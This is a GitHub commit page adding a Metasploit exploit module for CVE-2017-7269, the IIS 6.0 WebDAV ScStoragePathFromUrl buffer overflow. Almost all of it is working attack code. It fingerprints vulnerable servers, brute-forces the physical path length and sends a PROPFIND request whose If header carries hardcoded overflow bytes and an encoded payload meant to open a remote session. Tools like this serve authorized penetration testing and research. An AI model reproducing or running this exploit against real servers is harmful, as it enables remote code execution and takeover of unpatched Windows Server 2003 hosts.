Skip to content

Commit 72388a9

Browse files
committed
Land rapid7#8355, IIS ScStoragePathFromUrl
See rapid7#8162
2 parents 10099e9 + 2b4ace9 commit 72388a9

File tree

1 file changed

+179
-0
lines changed

1 file changed

+179
-0
lines changed
Lines changed: 179 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,179 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ManualRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => ' Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
14+
'Description' => %q{
15+
Buffer overflow in the ScStoragePathFromUrl function
16+
in the WebDAV service in Internet Information Services (IIS) 6.0
17+
in Microsoft Windows Server 2003 R2 allows remote attackers to
18+
execute arbitrary code via a long header beginning with
19+
"If: <http://" in a PROPFIND request, as exploited in the
20+
wild in July or August 2016.
21+
22+
Original exploit by Zhiniang Peng and Chen Wu.
23+
},
24+
'Author' =>
25+
[
26+
'Zhiniang Peng', # Original author
27+
'Chen Wu', # Original author
28+
'Dominic Chell <[email protected]>', # metasploit module
29+
'firefart', # metasploit module
30+
'zcgonvh <[email protected]>', # metasploit module
31+
'Rich Whitcroft' # metasploit module
32+
],
33+
'License' => MSF_LICENSE,
34+
'References' =>
35+
[
36+
[ 'CVE', '2017-7269' ],
37+
[ 'BID', '97127' ],
38+
[ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],
39+
[ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]
40+
],
41+
'Privileged' => false,
42+
'Payload' =>
43+
{
44+
'Space' => 2000,
45+
'BadChars' => "\x00",
46+
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
47+
'DisableNops' => 'True',
48+
'EncoderOptions' =>
49+
{
50+
'BufferRegister' => 'ESI',
51+
}
52+
},
53+
'DefaultOptions' =>
54+
{
55+
'EXITFUNC' => 'process',
56+
'PrependMigrate' => true,
57+
},
58+
'Targets' =>
59+
[
60+
[
61+
'Microsoft Windows Server 2003 R2 SP2',
62+
{
63+
'Platform' => 'win',
64+
},
65+
],
66+
],
67+
'Platform' => 'win',
68+
'DisclosureDate' => 'Mar 26 2017',
69+
'DefaultTarget' => 0))
70+
71+
register_options(
72+
[
73+
OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),
74+
OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]),
75+
OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]),
76+
])
77+
end
78+
79+
def min_path_len
80+
datastore['MINPATHLENGTH']
81+
end
82+
83+
def max_path_len
84+
datastore['MAXPATHLENGTH']
85+
end
86+
87+
def supports_webdav?(headers)
88+
if headers['MS-Author-Via'] == 'DAV' ||
89+
headers['DASL'] == '<DAV:sql>' ||
90+
headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||
91+
headers['Public'] =~ /PROPFIND/ ||
92+
headers['Allow'] =~ /PROPFIND/
93+
return true
94+
else
95+
return false
96+
end
97+
end
98+
99+
def check
100+
res = send_request_cgi({
101+
'uri' => target_uri.path,
102+
'method' => 'OPTIONS'
103+
})
104+
if res && res.headers['Server'].include?('IIS/6.0') && supports_webdav?(res.headers)
105+
return Exploit::CheckCode::Vulnerable
106+
elsif res && supports_webdav?(res.headers)
107+
return Exploit::CheckCode::Detected
108+
elsif res.nil?
109+
return Exploit::CheckCode::Unknown
110+
else
111+
return Exploit::CheckCode::Safe
112+
end
113+
end
114+
115+
def exploit
116+
# extract the local servername and port from a PROPFIND request
117+
# these need to be the values from the backend server
118+
# if testing a reverse proxy setup, these values differ
119+
# from RHOST and RPORT but can be extracted this way
120+
vprint_status("Extracting ServerName and Port")
121+
res = send_request_raw(
122+
'method' => 'PROPFIND',
123+
'headers' => {
124+
'Content-Length' => 0
125+
},
126+
'uri' => target_uri.path
127+
)
128+
fail_with(Failure::BadConfig, "Server did not respond correctly to WebDAV request") if(res.nil? || res.code != 207)
129+
130+
xml = res.get_xml_document
131+
url = URI.parse(xml.at("//a:response//a:href").text)
132+
server_name = url.hostname
133+
server_port = url.port
134+
server_scheme = url.scheme
135+
136+
http_host = "#{server_scheme}://#{server_name}:#{server_port}"
137+
vprint_status("Using http_host #{http_host}")
138+
139+
min_path_len.upto(max_path_len) do |path_len|
140+
vprint_status("Trying path length of #{path_len}...")
141+
142+
begin
143+
buf1 = "<#{http_host}/"
144+
buf1 << rand_text_alpha(114 - path_len)
145+
buf1 << "\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac"
146+
buf1 << ">"
147+
buf1 << " (Not <locktoken:write1>) <#{http_host}/"
148+
buf1 << rand_text_alpha(114 - path_len)
149+
buf1 << "\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81"
150+
buf1 << payload.encoded
151+
buf1 << ">"
152+
153+
vprint_status("Sending payload")
154+
res = send_request_raw(
155+
'method' => 'PROPFIND',
156+
'headers' => {
157+
'Content-Length' => 0,
158+
'If' => "#{buf1}"
159+
},
160+
'uri' => target_uri.path
161+
)
162+
if res
163+
vprint_status("Server returned status #{res.code}")
164+
if res.code == 502 || res.code == 400
165+
next
166+
elsif session_created?
167+
return
168+
else
169+
vprint_status("Unknown Response: #{res.code}")
170+
end
171+
end
172+
rescue ::Errno::ECONNRESET
173+
vprint_status("got a connection reset")
174+
next
175+
end
176+
end
177+
end
178+
end
179+

0 commit comments

Comments
 (0)